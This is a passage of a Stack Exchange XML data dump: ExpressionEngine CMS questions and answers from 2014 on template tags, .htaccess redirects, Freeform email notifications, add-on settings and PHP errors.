location.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;IMPORTANT&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Remember to test using temporary redirects first!&lt;/p&gt;&#xA;" OwnerUserId="343" LastActivityDate="2014-09-04T16:39:56.133" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25524" PostTypeId="2" ParentId="25500" CreationDate="2014-09-04T18:55:10.973" Score="0" Body="&lt;p&gt;Now i understand your css path. It's html code created by EE. So i've created a template too inside the html header:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;No problems related, when i show the code source it appears:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://domain.com/?css=essai/essai_css&quot; rel=&quot;nofollow&quot;&gt;http://domain.com/?css=essai/essai_css&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So your problem could be a SERVER PATH TO SITE'S TEMPLATES, that you can set in template/global preferences. Or perhaps a redirect problem isnside .htaccess. &#xA;Check the template path too.&lt;/p&gt;&#xA;" OwnerUserId="1918" LastActivityDate="2014-09-04T18:55:10.973" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="25525" PostTypeId="1" AcceptedAnswerId="25531" CreationDate="2014-09-04T19:31:54.033" Score="0" ViewCount="163" Body="&lt;p&gt;Is there any way to send generated email (based on a template) to an address obtained from the form? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm looking for something similar to the &lt;a href=&quot;http://www.solspace.com/docs/freeform/form/#tellafriend_form&quot; rel=&quot;nofollow&quot;&gt;tell-a-friend&lt;/a&gt; functionality but instead sending an email with a link I want to send generated HTML message based on a content from the landing page to email address from the form.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also how can I get an email address sent from to be an email from the form (as your email in an example from a link above)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for any tips.&lt;/p&gt;&#xA;" OwnerUserId="1577" LastEditorUserId="1577" LastEditDate="2014-09-04T21:27:37.780" LastActivityDate="2014-09-05T02:53:55.917" Title="Solspace Freeform and sending generated email to recipient from the form" Tags="|solspace-freeform|tell-a-friend|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25526" PostTypeId="1" CreationDate="2014-09-04T20:57:11.803" Score="0" ViewCount="633" Body="&lt;p&gt;I am building landing pages that will be used as direct links, not from a list on a catch all type page. I want to use one template, no categories. I am showing content from two different channels, one for the landing page and one for the &quot;program&quot; area. I am using an embed and {if} statements for the program channel that is nested within the other. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This all seems to be working, although to have the embedded program channel content display, I have to include the folder structure in the url_title field for the entry (so, instead of just putting &quot;caribbean_culture&quot; or &quot;examine_change&quot; in the url_title field, I'm having to put &quot;template_group/template/url_title&quot; or else the embedded channel content won't show up.) And then after it saves, its converted to template_group_template_url_title.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I'm not able to have the URL pull the specified entry. Instead, it just pulls the first or the last, depending on how I have the sort set up. So, using this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;landing&quot; disable=&quot;member_data|pagination&quot; sort=&quot;desc&quot; limit=&quot;1&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I get the same entry for either of these URLs, although they should actually show different entries:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.sea.edu/learn_more/sea_semester_voyages/caribbean_culture&quot; rel=&quot;nofollow&quot;&gt;http://www.sea.edu/learn_more/sea_semester_voyages/caribbean_culture&lt;/a&gt;&#xA;&lt;a href=&quot;http://www.sea.edu/learn_more/sea_semester_voyages/examine_change&quot; rel=&quot;nofollow&quot;&gt;http://www.sea.edu/learn_more/sea_semester_voyages/examine_change&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I change the sort to 'asc' in the channel:entries tag, then I do see the other entry, but again, at both URLs. I have the functionality of the single entry displaying on a page working on other templates in the site, but they are fed by an initial link on another page, that uses&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;href=&quot;template/{url_title}&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to build the page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there some parameter to include in the channel:entries tag that uses the url_title to dictate the entry that is on the page that matches the URL? Or some other solution? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried &quot;require_entry&quot; to no avail.&lt;/p&gt;&#xA;" OwnerUserId="916" LastActivityDate="2020-11-21T20:04:35.490" Title="Single entry not relating to url title" Tags="|channel-entries|entries|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25527" PostTypeId="2" ParentId="25494" CreationDate="2014-09-04T21:50:16.590" Score="2" Body="&lt;p&gt;Yes, Store does support dynamic prices. However, you have to enable it when you create the field in the field group. You will see an option called &quot;Enable Dynamic Prices&quot;, you will need to set this to Yes.  Please note this is a security risk and could allow malicious users to specify any price they want to products.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After this setting you don't have to add a price to products when saving entries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, when you add the product tag you can use this form field:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;text&quot; name=&quot;price&quot; value=&quot;9.99&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The price of the product in the cart will be &lt;code&gt;9.99&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Brad&lt;/p&gt;&#xA;" OwnerUserId="164" LastEditorUserId="324" LastEditDate="2014-09-05T13:12:15.793" LastActivityDate="2014-09-05T13:12:15.793" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="25528" PostTypeId="2" ParentId="25471" CreationDate="2014-09-04T23:53:47.797" Score="0" Body="&lt;p&gt;Found an answer to my question:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:query sql=&quot;SELECT&#xA;    SUM(ct.status = 'open' OR ct.status = 'pending') student_count,&#xA;    SUM(ct.status = 'pending') student_pending&#xA;    FROM exp_channel_titles ct&#xA;    JOIN exp_channel_data cd ON cd.entry_id = ct.entry_id&#xA;    WHERE cd.channel_id=5&#xA;    AND cd.field_id_45={entry_id}&quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;At the moment I've still got two separate queries counting from the two different channels so I'd still like to know if there's a way of combining the two.&lt;/p&gt;&#xA;" OwnerUserId="116" LastActivityDate="2014-09-04T23:53:47.797" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25530" PostTypeId="2" ParentId="25070" CreationDate="2014-09-05T02:39:53.603" Score="1" Body="&lt;p&gt;Sorry, if you're looking for that functionality in the CP (blocking access to specific forms per member group), that is currently not available. I recommend submitting this as a Feature Request under the specific add-on category. It'll also give other users the option to vote up the feature request, and help us prioritize features to add in upcoming versions of this add-on. :)&#xA;&lt;a href=&quot;http://support.solspace.com/support/discussions&quot; rel=&quot;nofollow&quot;&gt;http://support.solspace.com/support/discussions&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the front-end, however, you can do this using regular conditionals. For example, if your group_id for &quot;Marketing Member Group&quot; is 7, then you could do something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if group_id == 7}&#xA;   /// Marketing Request form&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="884" LastActivityDate="2014-09-05T02:39:53.603" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25531" PostTypeId="2" ParentId="25525" CreationDate="2014-09-05T02:53:55.917" Score="1" Body="&lt;p&gt;Let's say you have a field in your form to hold an email address, let's call it &lt;code&gt;email&lt;/code&gt;. Make sure you have a Freeform field in the CP called &lt;code&gt;email&lt;/code&gt; and linked to your form. You need this field to &quot;catch&quot;/save that information to the database, to then be used in your notification email.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, in your notification template, you can use &lt;code&gt;{email}&lt;/code&gt; where you need it: the &quot;From Email&quot; setting, in your notification email body, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As an extra note, notification templates also support EE tags, variables and conditionals, so you can control the content of your email body based on the submitted form content,&lt;br&gt;&#xA;eg. &lt;code&gt;{if favorite_food == &quot;apples&quot;} Content about apples {/if}&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2014-09-05T02:53:55.917" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25532" PostTypeId="1" CreationDate="2014-09-05T06:05:52.940" Score="1" ViewCount="42" Body="&lt;p&gt;When use MX Cloner (v 1.2.4) with EE 2.9.0 it output an error in editing page&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You are not authorized to perform this action&lt;/p&gt;&#xA;" OwnerUserId="2992" LastEditorUserId="932" LastEditDate="2014-11-19T08:46:55.407" LastActivityDate="2014-11-19T08:46:55.407" Title="MX Cloner and EE 2.9.0" Tags="|mx-cloner|" AnswerCount="0" CommentCount="0" ClosedDate="2014-11-24T16:15:36.630" ContentLicense="CC BY-SA 3.0" />
  <row Id="25533" PostTypeId="2" ParentId="25526" CreationDate="2014-09-05T07:13:24.957" Score="0" Body="&lt;p&gt;Didn't fully understand your question, so i updated this answer.&#xA;First you pull the right entry from the landing pages channel, close the channel:entries loop, and open another loop for the entries in the other channel. &#xA;note that you need to use &lt;strong&gt;dynamic=&quot;no&quot;&lt;/strong&gt; otherwise the template parser will get confused.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So your landing page will look like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;html&amp;gt;&#xA;{exp:channel:entries channel=&quot;landing&quot; disable=&quot;member_data|pagination|categories&quot; sort=&quot;desc&quot; limit=&quot;1&quot; url_title=&quot;{segment_3}&quot; dynamic=&quot;no&quot;}&#xA;-- your content --&#xA;{/exp:channel:entries}&#xA;{exp:channel:entries channel=&quot;program&quot; disable=&quot;member_data|categories&quot; sort=&quot;desc&quot; dynamic=&quot;no&quot; paginate=&quot;bottom&quot;}&#xA;-- your content --&#xA;{/exp:channel:entries}&#xA;&amp;lt;/html&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;if you need content from the landing channel after the program block, you might want to use an embed/snippet for the program entries.&lt;/p&gt;&#xA;" OwnerUserId="215" LastEditorUserId="215" LastEditDate="2014-09-09T07:01:22.270" LastActivityDate="2014-09-09T07:01:22.270" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="25534" PostTypeId="2" ParentId="25517" CreationDate="2014-09-05T08:12:25.923" Score="2" Body="&lt;p&gt;Problem is solve, I did change the code this way:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; # Removes redirect to url without www&#xA;RewriteCond %{HTTP_HOST} ^www\.(.*)$ [NC]&#xA;RewriteRule ^(.*)$ http://%1/namesubdirectory/$1 [R=301,L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="482" LastActivityDate="2014-09-05T08:12:25.923" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25535" PostTypeId="1" CreationDate="2014-09-05T08:33:12.777" Score="0" ViewCount="23" Body="&lt;p&gt;My client deleted an admin (not super admin) account and it deleted all their posts. Is there a plugin or setting to stop this from happening and allows entries to be reassigned to another user account?&lt;/p&gt;&#xA;" OwnerUserId="2912" LastActivityDate="2014-09-05T08:44:13.167" Title="How can you disable entry deletion when member account removed?" Tags="|members|control-panel|entries|delete|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25536" PostTypeId="2" ParentId="25535" CreationDate="2014-09-05T08:44:13.167" Score="1" Body="&lt;p&gt;I think there's already an option to reassign the entries created by that member to another member. It appears as a dropdown when you go through the deletion confirmation process.&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2014-09-05T08:44:13.167" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25537" PostTypeId="2" ParentId="25521" CreationDate="2014-09-05T08:48:16.000" Score="0" Body="&lt;p&gt;I'm not sure it will help you 100% in this instance and I have not used this add-on but you might want to look at &lt;a href=&quot;http://devot-ee.com/add-ons/detour-pro&quot; rel=&quot;nofollow&quot;&gt;Detour Pro&lt;/a&gt; to help manage the necessary htaccess redirects directly from within your EE Control Panel.&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2014-09-05T08:48:16.000" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25538" PostTypeId="2" ParentId="25521" CreationDate="2014-09-05T08:55:41.853" Score="0" Body="&lt;p&gt;Since you have added a field containing the old URL you could do something like this.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Ensure all &quot;old&quot; URLs land on your 404 template&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Set up the 404 template with an entries tag pair which uses the &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/add-ons/channel/channel_entries.html#search-field-name&quot; rel=&quot;nofollow&quot;&gt;search parameter&lt;/a&gt; to find the entry. search:&quot;oldUrlField=xxx&quot; (need something to grab the full URL, maybe an add-on such as &lt;a href=&quot;http://devot-ee.com/add-ons/mo-variables&quot; rel=&quot;nofollow&quot;&gt;Mo Variables&lt;/a&gt;, maybe some PHP). This will find the entry you really need to show.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Use the &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/templates/globals/single_variables.html#redirect&quot; rel=&quot;nofollow&quot;&gt;redirect global variable&lt;/a&gt; to send the visitor to the new URL, issuing a 301 http code.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="159" LastActivityDate="2014-09-05T08:55:41.853" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="25540" PostTypeId="2" ParentId="25526" CreationDate="2014-09-05T11:42:56.123" Score="0" Body="&lt;p&gt;You could use the Pages module to do this, or even template routing if you are using the latest version of EE.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Pages module is probably simplest for you and will allow you to assign an arbitrary url to any entry you create.&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2014-09-05T11:42:56.123" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25542" PostTypeId="1" CreationDate="2014-09-05T13:01:29.733" Score="1" ViewCount="372" Body="&lt;p&gt;I am using Profile:Edit to display the &quot;Forgot Password&quot;/Reset form. They work fine. I get the Notification email, but in the email I get this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;===========&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Admin, &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To reset your password, please go to the following page: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://local.729beauty.com:8888/?ACT=78&amp;amp;resetcode=s4ss0gFz&amp;amp;return=profile%2Freset_password&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://local.729beauty.com:8888/?ACT=78&amp;amp;resetcode=s4ss0gFz&amp;amp;return=profile%2Freset_password&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then log in with your username: {username} &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you do not wish to reset your password, ignore this message. It will &#xA;expire in 24 hours. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;729 Beauty &#xA;&lt;a href=&quot;http://local.729beauty.com:8888/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://local.729beauty.com:8888/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;============&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Notice that {username} does not get rendered.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found this post: &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/12772/does-name-always-equal-username-in-forgotten-password-template&quot;&gt;Does {name} always equal {username} in Forgotten Password template?&lt;/a&gt; which suggests that {name} and {username} are the same, but not so. In my case, {name} = Admin, and {username} = super_admin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am not sure if this is an issue with EE install or Profile:Edit. Thoughts?&lt;/p&gt;&#xA;" OwnerUserId="3489" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.553" LastActivityDate="2019-10-22T18:03:00.397" Title="Forgot Password Email Notification not rendering {username}" Tags="|cartthrob|profile-edit|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25543" PostTypeId="1" CreationDate="2014-09-05T13:14:33.093" Score="0" ViewCount="98" Body="&lt;p&gt;I updated ee to 2.9 and now the &lt;a href=&quot;http://devot-ee.com/add-ons/date-time-language-converter&quot; rel=&quot;nofollow&quot;&gt;Date/Time Language Converter&lt;/a&gt; doesn't work anymore&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there another way to translate ee time?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That plugin wasn't working properly anyway. It couldn't display german umlauts (ä, ö, ü).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you.&lt;/p&gt;&#xA;" OwnerUserId="184" LastActivityDate="2014-09-11T11:26:36.117" Title="Date translation" Tags="|language|datetime|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="25544" PostTypeId="2" ParentId="25483" CreationDate="2014-09-05T13:23:52.010" Score="0" Body="&lt;p&gt;There are a couple of settings under &lt;em&gt;CartThrob &amp;rarr; Settings &amp;rarr; Products&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Allow items to appear more than once in cart&lt;/li&gt;&#xA;&lt;li&gt;Split multiple quantities into single items &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;These likely need to be adjusted in your case.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2014-09-05T13:23:52.010" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25546" PostTypeId="2" ParentId="25513" CreationDate="2014-09-05T15:54:05.033" Score="1" Body="&lt;p&gt;As per my comment above, try uninstalling stash and reinstalling.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Glad I can help. &lt;/p&gt;&#xA;" OwnerUserId="261" LastActivityDate="2014-09-05T15:54:05.033" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25547" PostTypeId="1" CreationDate="2014-09-05T16:03:43.297" Score="1" ViewCount="370" Body="&lt;p&gt;After logging out of the front i get this error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;A PHP Error was encountered&#xA;&#xA;Severity: Notice&#xA;&#xA;Message: unserialize(): Error at offset 0 of 7 bytes&#xA;&#xA;Filename: libraries/Session.php&#xA;&#xA;Line Number: 931&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;PHP: 5.6&lt;br /&gt;&#xA;EE: 2.9&lt;/p&gt;&#xA;" OwnerUserId="1755" LastActivityDate="2014-09-05T16:03:43.297" Title="PHP error on EE 2.9 with PHP 5.6" Tags="|error|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="25551" PostTypeId="2" ParentId="25518" CreationDate="2014-09-06T08:52:57.343" Score="1" Body="&lt;p&gt;Although it's not clear from your question exactly &lt;em&gt;how&lt;/em&gt; you're stuck, there are a couple of things you can check.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Using &lt;code&gt;search:postcodes_covered&lt;/code&gt; in your opening Form tag does nothing. You can remove it.&lt;/li&gt;&#xA;&lt;li&gt;You're using &lt;code&gt;&amp;lt;input name=&quot;keywords&quot; ... &amp;gt;&lt;/code&gt;, which means you're using the &lt;a href=&quot;http://gotolow.com/addons/low-search/docs/filters#keywords&quot; rel=&quot;nofollow&quot;&gt;Keywords filter&lt;/a&gt;, for which you need to set up at least one &lt;a href=&quot;http://gotolow.com/addons/low-search/docs/collections#collections&quot; rel=&quot;nofollow&quot;&gt;Collection&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;li&gt;When setting up the collection, make sure your postcode field has an assigned weight of 1 or up. Setting it to 0 will exclude it from the index, thus making it not searchable.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;You can also consider using the &lt;a href=&quot;http://gotolow.com/addons/low-search/docs/filters#field-search&quot; rel=&quot;nofollow&quot;&gt;Field Search filter&lt;/a&gt;. So instead of using &lt;code&gt;&amp;lt;input name=&quot;keywords&quot;&amp;gt;&lt;/code&gt;, you'd have to use &lt;code&gt;&amp;lt;input name=&quot;search:my_postcode_field&quot;&amp;gt;&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for the Results tag: remember that it extends the channel:entries tag. So if no entries show up, that might also be due to a status not being given or the entry/expired dates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Pro Tip: enable template debugging to see what the add-on is doing. This will help debugging, too.&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2014-09-06T08:52:57.343" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="25554" PostTypeId="1" AcceptedAnswerId="25555" CreationDate="2014-09-07T01:47:08.207" Score="0" ViewCount="55" Body="&lt;p&gt;URL segments keep building up with each link I click -- Never had this issue occur before. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Navee include:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{exp:navee:nav nav_title=&quot;main&quot;}&#xA;&lt;img src=&quot;https://i.stack.imgur.com/rGpzw.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first time I click the link, it works fine: &#xA;&lt;img src=&quot;https://i.stack.imgur.com/xr31p.png&quot; alt=&quot;enter image description here&quot;&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I click another link, it adds the previous link to the new click link:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/zgdDV.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2548" LastActivityDate="2014-09-07T05:22:46.643" Title="URL Segments Keep Building Up (Using Navee)" Tags="|url|segments|navee|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25555" PostTypeId="2" ParentId="25554" CreationDate="2014-09-07T05:22:46.643" Score="2" Body="&lt;p&gt;You need to start your URLs with a forward slash so:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;work/category/web/&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;becomes&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;/work/category/web/&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="16" LastActivityDate="2014-09-07T05:22:46.643" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25556" PostTypeId="1" AcceptedAnswerId="25557" CreationDate="2014-09-07T10:34:56.457" Score="1" ViewCount="93" Body="&lt;p&gt;Has anyone had a problem with CE_Lossless where it reports that jpegtran and jpegoptim aren't installed even though they are?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The template debugger reports:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;(0.344540 / 6.28MB)   &lt;em&gt;*&lt;/em&gt;  CE Lossless debug: It doesn't look like the jpegtran is available.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;(0.344585 / 6.28MB)   &lt;em&gt;*&lt;/em&gt;  CE Lossless debug: It doesn't look like the jpegoptim is available.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;But if I check the server I see they are both present:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;$ which jpegtran jpegoptim &#xA;  /usr/bin/jpegtran /usr/bin/jpegoptim&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="159" LastEditorUserId="7705" LastEditDate="2018-09-24T22:38:10.000" LastActivityDate="2018-09-24T22:38:10.000" Title="Can't get CE_Lossless to work" Tags="|image|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25557" PostTypeId="2" ParentId="25556" CreationDate="2014-09-07T10:52:22.983" Score="0" Body="&lt;p&gt;The solution was here &lt;a href=&quot;http://devot-ee.com/add-ons/support/ce-lossless/viewthread/13794&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/support/ce-lossless/viewthread/13794&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I needed to set a config variable for the Linux path using &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;$config['ce_lossless_linux_path'] = '/usr/bin/';&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="159" LastActivityDate="2014-09-07T10:52:22.983" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25558" PostTypeId="1" AcceptedAnswerId="25610" CreationDate="2014-09-07T11:05:02.367" Score="0" ViewCount="102" Body="&lt;p&gt;NOTE: I am a non-technical person and know nothing about PHP. I can follow step-by-step instructions though.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am running EE v2.5.5&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am getting PHP errors on my control panel which won't go away with a refresh. I have NOT changed any files, however I did open and peek around a few files through my FTP site two weeks ago to see if I could find the code for my tags.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since then, these errors are constant.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is NOT effecting my front end site (&lt;a href=&quot;http://www.justfrances.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;www.justfrances.com&lt;/a&gt;) but it IS effecting my ability to search for previous posts on the control panel to edit things. It's also slowed a lot of the control panel functions and has meant that I have to refresh after posting a new entry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any thoughts on WHY or on how to fix this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried looking at other threads on this, but nothing seemed to work (or make sense) for me&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you,&#xA;Just Frances&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/di2b9.png&quot; alt=&quot;Errors showing&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3556" LastActivityDate="2015-03-09T20:50:12.963" Title="PHP errors in control panel; main site still working" Tags="|control-panel|error|php|php-errors|" AnswerCount="3" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25559" PostTypeId="1" AcceptedAnswerId="25562" CreationDate="2014-09-07T11:36:15.477" Score="0" ViewCount="20" Body="&lt;p&gt;Anyone know if it's possible to have prev/next entry linking on a single entry page using Low Alphabet (with params for ignoring 'the', etc.) - couldn't see anything on this in the docs &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many thanks!&lt;/p&gt;&#xA;" OwnerUserId="889" LastActivityDate="2014-09-07T21:38:09.480" Title="Next Prev entries with low alphabet" Tags="|low-alphabet|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25561" PostTypeId="1" CreationDate="2014-09-07T17:41:08.917" Score="1" ViewCount="110" Body="&lt;p&gt;I was just wondering if someone could possibly push my brain into the correct queue so that I totally get the Stash module. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've read all the main articles on it and really like the sound of it but I'm still not quite having that magic 'Aha' moment currently. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can see it saving me one embed tag currently on most sites I create which is obviously great however I'm absolutely positive that there's more to it than that. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I see loads of people mentioning about keeping the markup separate from the data fetching however every time I've seen this done the data is fetched at the top of a template then set as Stash variables and then lower in the template there is the markup code with the Stash variables spat out in the place where they're needed. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd really like to get into the DRY principle but in my head (&lt;em&gt;at the moment until someone shows me otherwise [purpose of this post])&lt;/em&gt; ;-) that seems pretty much the same as just placing the Channel tags and variables in with the markup. What I mean to say is that there are always going to be variables of some sort mixed in with markup so I guess I'm just not quite getting how this helps much?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd love it if someone could just give me a slight push in the right direction. I'm sure it won't take much but as I said before I've read all the main articles (and a fair few others) on the subject and tried it out and whilst it works great I'm just not quite having that eureka moment like I did the first time I came across ExpressionEngine. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've got a fairly large site with many different types of pages (content types) which needs to be converted across from 1.x to the latest version of ExpressionEngine and anything I can do which can make things easier for me and going forward and that can save time then that would be great. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope it's okay asking this kind of question on the board here like this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many thanks,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Mark&lt;/p&gt;&#xA;" OwnerUserId="846" LastActivityDate="2014-09-08T21:53:58.383" Title="Need that magic 'Stash' moment…" Tags="|stash|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
